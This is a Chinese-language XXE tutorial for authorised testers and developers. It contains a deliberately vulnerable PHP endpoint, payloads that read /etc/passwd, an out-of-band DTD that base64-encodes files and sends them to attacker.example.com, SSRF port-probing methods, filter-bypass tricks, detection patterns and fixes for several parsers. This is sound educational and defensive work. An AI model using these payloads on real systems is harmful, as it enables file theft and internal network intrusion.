XXE漏洞实战:从文件读取到内网渗透的利用与防御
做授权渗透测试时我有个习惯只要接口里出现了XML字样不管它带不带XXE三个字母都会顺手测一下。原因很简单——XXE漏洞不是那种需要复杂业务逻辑才能触发的洞它往往是一个解析器默认配置就坑了一个系统的洞。从一个看起来人畜无害的报名表单、订单查询、第三方回调到最后变成任意文件读取甚至内网跳板整个链条可能只差一个Payload。这篇文章是XXE实战的下半篇。上一篇已经把XML实体、内部实体、外部实体这些概念盘过一遍了这里不再从头背概念而是直接进战场如何判断目标有没有解析XML如何构造不触发拦截的Payload怎么在有回显和没回显两种情况下拿数据以及最后怎么修。适合正在做授权测试的人也适合写接口的研发同学——你不需要成为黑客但至少要清楚自己写的代码在什么配置下会变成突破口。1. 为什么XML解析会成为突破口1.1 从实体加载机制说起很多开发同学会问我的程序只是接收了一个XML字符串把它转成对象怎么就能被读服务器上的敏感文件呢问题不在于XML本身而在于“解析”这两个字。XML标准允许通过DOCTYPE声明定义实体而实体又分为内部实体和外部实体。内部实体就是一段字符串替换例如!ENTITY name value外部实体则引用了一个外部的资源可以是本地文件、URL也可以是网络上任意一个HTTP接口。解析器在处理外部实体时会主动去获取这个资源并把内容嵌入到XML文档中。把实体加载理解成“懒加载”就好办了。你告诉解析器有个东西叫payload它的内容在file:///etc/passwd里。解析器不会怀疑你不会校验协议也不会确认路径它只会忠实地把文件内容读进来。如果后续程序把这个内容放在响应里就形成任意文件读取如果放在请求里就变成SSRF。XXE本质上是“外部实体加载未受限”严格说是两部分一是解析器允许加载外部实体二是程序没有对参与点做白名单校验。两者只要同时成立漏洞就变成了一个通用通道。1.2 实战中最高危的三种入口理论上任何解析XML的地方都可能中招但实战中高危入口比较集中我总结为三类第一种是文件导入类。典型场景是OA系统里的Excel导入、报表工具的数据交换、旧系统导出的XML文件直接丢给后端处理。界面看起来是Excel底层却把文件内容转成XML再解析攻击者只要把文件内容改掉就能控制解析器的行为。第二种是接口调用类。SOAP、WebService以及REST接口里请求体直接是XML的场景。尤其是一些为了兼容老系统而保留的接口可能已经上线七八年用的还是老版本解析库很容易中招。第三种是数据交换类。订单系统接收供应商的XML报文、即时通讯软件订阅RSS、支付回调里又套了一层XML都属于这一类。这类入口的开发者往往认为“XML来自可信第三方”没有统一过滤结果第三方一旦被打穿这些XML就变成了攻击载荷的载体。1.3 需要补课的基础DTD与Entity既然要实战几个基础术语必须分清否则看Payload会一头雾水。DTD是Document Type Definition写在XML最前面的DOCTYPE里。Entity则是在DTD中声明的一种“宏”一个实体代表一段字符串。真正制造漏洞的关键是外部实体声明!DOCTYPE order [ !ENTITY xxe SYSTEM file:///etc/passwd ]这里的SYSTEM表示外部资源后面跟URL。如果解析器支持外部实体解析那么xxe;会被替换成文件内容。另外还有参数实体写法是!ENTITY % file SYSTEM file:///etc/passwd后面用%file;调用常用于构造二次加载。实战中很多Payload是外部实体与参数实体组合出来的先把这个关系弄清楚后面看代码才不会懵。2. 搭建实验靶场与快速判断解析方式2.1 一个贴近线上的订单查询接口先别急着拿别人的站点练手翻车风险太大。我自己习惯在本地起一个模拟订单查询服务用Docker就能完整体验漏洞触发过程。假设这样一个接口POST /order/query接收XML请求体查询订单信息后返回。实验环境里故意用了一个低版本风格的PHP解析配置让外部实体加载变成可能?php // order.php - 模拟订单接口仅用于本地授权测试 $data file_get_contents(php://input); $xml simplexml_load_string($data, SimpleXMLElement, LIBXML_NOENT); $orderId (string)$xml-orderId; // 业务处理... header(Content-Type: text/xml; charsetutf-8); echo orderorderId$orderId/orderIdstatus已发货/status/order;关键就在LIBXML_NOENT这个参数它允许实体替换。很多老项目会把外部实体加载当作默认行为代码里根本不会写这个参数而是解析库的默认配置就没关。设成这个参数只是为了在本地复现“老系统默认配置”下的真实效果。如果你用的是现代版本解析器默认可能已经禁止外部实体实验时需要用参数显式打开。2.2 三条指令确认“这次真的解析XML”拿到一个不确定的入口后不要立刻上复杂Payload。先确认它是否真的解析XML。我一般按下面三步走。第一步发一个标准XML看响应是否正常。比如请求体为orderorderId1/orderId/order如果返回订单信息说明后端把它当XML解析了。第二步发一个带内部实体的XML自定义实体submit;如果在响应里能回显就说明实体替换生效。第三步发一个外部实体声明指向自己可控的地址观察是否能收到请求。三步都过了基本可以断定这个地方具备XXE条件。第二步的Payload长这样?xml version1.0? !DOCTYPE order [ !ENTITY test HELLO-XXE ] orderorderIdtest;/orderId/order如果响应里的orderId变成HELLO-XXE说明内部实体生效。但重点来了内部实体生效只能证明DTD解析正常不能直接证明外部实体可用所以第三步才是关键。2.3 工具准备与流量观察实战中我习惯用Burp Suite因为可以直接重放请求、修改请求头、看响应。不过工具不是关键关键是你能不能确认“外部资源是否真的被请求”。最简单的方式是在本机起一个监听端口比如用Python临时起一个HTTP服务python3 -m http.server 8899然后构造一个外部实体指向http://127.0.0.1:8899/xxe。如果监听端口的访问日志里出现对应路径说明外部实体已被触发。需要提醒的是即使是在授权测试中也要控制影响范围。不要真的去读生产环境里的敏感文件更不要大规模探测内网。一旦触发了外部请求记录好时间和请求内容测试结束后核对清理。安全测试的目的是发现和修复而不是为了证明“我能打过”。3. 经典利用链读文件、探内网、捞数据3.1 有回显场景直接文件读取确认外部实体可用后最直接的就是文件读取。把上一步的Payload改一下?xml version1.0 encodingUTF-8? !DOCTYPE order [ !ENTITY xxe SYSTEM file:///etc/passwd ] orderorderIdxxe;/orderId/order如果目标系统是Linux响应中的orderId会变成/etc/passwd的内容。如果目标环境是Windows可以试试file:///C:/Windows/win.ini。这里要注意XML实体中不能直接处理二进制文件遇到非UTF-8编码或带特殊字符的文件解析器很可能报错。所以实战中更常用的是读取源码和配置文件因为它们通常都是文本。我实际测试中最常试的三个目标是/etc/passwd、应用自身的配置文件、代码文件。读到配置文件的数据库账号密码往往能直接拿到进一步权限。3.2 无回显场景外带数据通道很多接口虽然解析XML但不会把实体内容反射到响应里比如只返回“提交成功”。这时需要把数据外带。原理是让XML文档把要读取的文件内容作为URL的一部分再请求到外部服务器上这样目标服务器会带着文件内容请求我们的监听地址。经典组合是参数实体嵌套分两步。先在自己可控的服务器上放一个DTD文件比如命名为xxe.dtd内容如下!ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resource/etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://attacker.example.com/?data%file; %eval; %exfil;然后请求Payload构造如下!DOCTYPE order [ !ENTITY % remote SYSTEM http://attacker.example.com/xxe.dtd %remote; ] orderorderId1/orderId/order为什么要把文件内容做Base64编码因为%file;在被替换后可能包含换行、斜杠等特殊字符直接拼到URL里会被截断或报错。通过convert.base64-encode文件内容变成纯字符串就能安全地放进URL参数了。eval和exfil两个参数实体嵌套实际效果是动态构造一个新的外部实体再触发一次请求。如果监听服务器收到请求data参数里就是Base64编码后的文件内容解码即可。这种方式只适用于目标能访问外部网络的场景如果目标隔离了外网只能退而求其次用报错回显或时间盲注。3.3 把SSRF用到内网端口探测文件读取只是XXE的一个方向另一个常见利用是SSRF。外部实体加载支持的协议不止file还包括http、gopher等。把实体指向内网地址就能让目标服务器去访问它本来不能访问的机器。最典型的是探测内网端口构造http://192.168.1.10:8080/然后观察响应时间、状态码或内容差异。比如有回显场景返回的内容会因为端口开放与否而变化无回显场景可以配合请求是否触发错误来推断。如果目标是云环境还可以尝试云厂商的元数据地址但这里不展开因为具体返回内容因厂商而异。总的指导思想是用实体加载把应用当作跳板把边界变成内网入口。实际测试中我会把端口探测做成自动化一个个生成XML发到目标通过响应时间和内容判断端口状态。但注意这已经属于内网探测行为必须确认在授权范围内。如果只是常规测试选3到5个常用端口验证即可不要无限扩大。4. 绕过与检测真实环境没那么顺利4.1 常见过滤思路与编码绕过很多开发人员都知道XXE危险所以会加一些过滤比如检查请求体里有没有DOCTYPE、ENTITY、SYSTEM这些关键词。看起来挺有效但解析器处理的是解码后的数据过滤往往发生在原始字节层面。最常见的绕过是编码转换把XML编码改成UTF-16服务器按UTF-16解码时过滤规则如果用UTF-8匹配就失效了。还有一种是利用DTD内部子集和参数实体拼接更适合绕过对“外部实体”的直接检测。比如把SYSTEM拆成字符串拼接在DTD里用实体拼接得到完整的SYSTEM。因为过滤的往往是静态字符串拼接后的结果在请求里看不到完整的危险关键字。更隐蔽的方法是利用XInclude它能在不修改主XML的前提下加载外部文件很多XXE过滤器没有考虑到。XInclude的Payload需要声明命名空间然后通过xi:include访问文件。这类手法主要用于过滤严格的系统但很多普通代码的解析器并不支持XInclude所以能不能用要看环境。我的经验是先判断过滤点在网关层还是应用层。网关层通常只做黑名单编码绕过容易成功应用层如果自己写了正则思路也类似。如果直接把XML解析后再检查就没有绕过的必要但这种场景极少。4.2 无回显下的盲注技巧前面提到的OOB外带是首选方案但有些环境连外网都出不去DNS外带也不通。此时可以试试基于错误的回显也就是报错型XXE。让解析器在处理外部实体时抛出包含文件内容的错误错误消息被返回给客户端。思路和SQL注入里的报错注入类似。在XML里构造一个不存在的实体把文件内容拼写到错误消息里。但前提是解析器能返回错误详情很多生产接口会屏蔽错误信息所以成功率不稳定。备选还有时间盲注通过类似file:///proc这种路径让解析器阻塞观察响应延迟但只能做存在性判断信息提取效率极低。我做无回显测试时优先级是先试OOB外带再看错误回显最后才考虑时间盲注。如果前两者都不可用就不要硬挖把风险点记录下来转人工评估更合理。4.3 从日志、流量中识别XXE攻击防守方视角也很重要。如果我是蓝队怎么从流量里发现XXE扫描最典型的是大量POST请求中XML正文里出现DOCTYPE和SYSTEM。即使攻击者做了编码绕过流量里也会出现异常编码的XML比如UTF-16的报文通常有大量00字节和普通JSON接口的流量风格明显不同。其次看URL路径。突然出现/order/query、/xmlrpc、/soap这类接口且请求体是text/xml就需要重点关注。还有外连行为监控XXE攻击会从应用服务器向外发起请求如果发现短时间内有多个目的地址不同的外联请求特别是file、http、gopher这类协议URI基本可以判定为疑似XXE。在拦截日志里做正则匹配把事件参数中出现!DOCTYPE和SYSTEM的请求揪出来可以快速筛出大部分试探行为。更高级的做法是在网关层解析请求体XML树看是否存在外部实体声明准确率更高但性能成本也更高。5. 修复与纵深防御5.1 根因修复解析器参数配置修复XXE的核心是禁用外部实体而不是过滤输入。过滤永远跟不上攻击者编码但只要解析器不加载外部实体攻击者就无从下手。不同语言有不同的开关关键在确认默认配置。这里整理了一张常用配置表语言/库关键配置说明Java DocumentBuilderFactoryfactory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true);直接禁止DOCTYPE声明最严格Java XMLInputFactoryXMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES false针对StAXPHP libxmllibxml_disable_entity_loader(true);老代码需要显式调用新版默认禁用Python lxmletree.XMLParser(resolve_entitiesFalse, no_networkTrue)确保不解析外部实体C# .NETXmlReaderSettings.DtdProcessing Prohibit;完全禁止DTD处理配置完一定要写测试用例把含外部实体的XML提交进去确认返回里没有文件内容、也没有外部请求产生。第一道修复做到“不加载外部实体”还不够最好连DOCTYPE都直接拒绝。因为即使禁用外部实体内部实体巨大展开也会造成Billion Laughs攻击也就是实体膨胀型拒绝服务。5.2 上游防御网关与WAF的取舍在应用层修复之前可以先用网关层做应急缓解。WAF能阻止大部分扫描器的Payload但不能只依赖它做唯一防线。原因是WAF容易被编码绕过而且在线环境流量大误拦正常XML接口会导致业务问题。很多WAF的XML策略只检查DOCTYPE对XInclude等变体覆盖不全。网关层应该做三件事一是限制请求体大小超过阈值直接返回降低实体膨胀攻击的影响二是如果业务允许把请求体格式统一为JSON从根上减少XML暴露面三是对明显恶意的XML请求返回快速拒绝状态码而不是交由业务层处理。但最关键的是把信任边界划清楚外部进入的XML一律按不可信数据对待。不能因为调用方是内部系统就掉以轻心XXE经常出现在第三方对接接口中。5.3 自查清单与回归验证最后给一个落地自查清单你可以直接拿去做排查找出所有使用XML解析的接口和包逐个标注输入源是否外部可控。检查解析器配置确认外部实体、外部DTD、DOCTYPE都被关闭。在低层统一封装XML解析方法而不是每个业务各自new一个解析器。设置文件上传白名单禁止直接接收.xml文件并在服务器侧解析。增加日志记录覆盖源IP、请求体摘要、是否触发外部请求告警。回归验证时准备两组用例一组是正常XML确认业务不受影响另一组是包含外部实体和DOCTYPE的恶意XML确认被拒绝。每次发布前跑一遍就不会再出现因为新功能误开配置导致漏洞回潮。我个人的经验是XXE的可怕不在于利用链有多复杂而在于开发对XML解析的默认行为缺乏感知。很多系统上线前漏洞扫描都过了结果运营部门接了个外部报表平台用了个老库又把这个坑踩了一遍。所以我做评估时不只看API还看框架版本做修复时也比预期多花时间写解析层统一配置。如果你正在处理一个历史遗留系统优先禁用DOCTYPE和外部实体再考虑其他加固通常能解决90%的问题。实际测试中踩过的坑说多了都是泪但基础配置拿住了后面就会省很多事。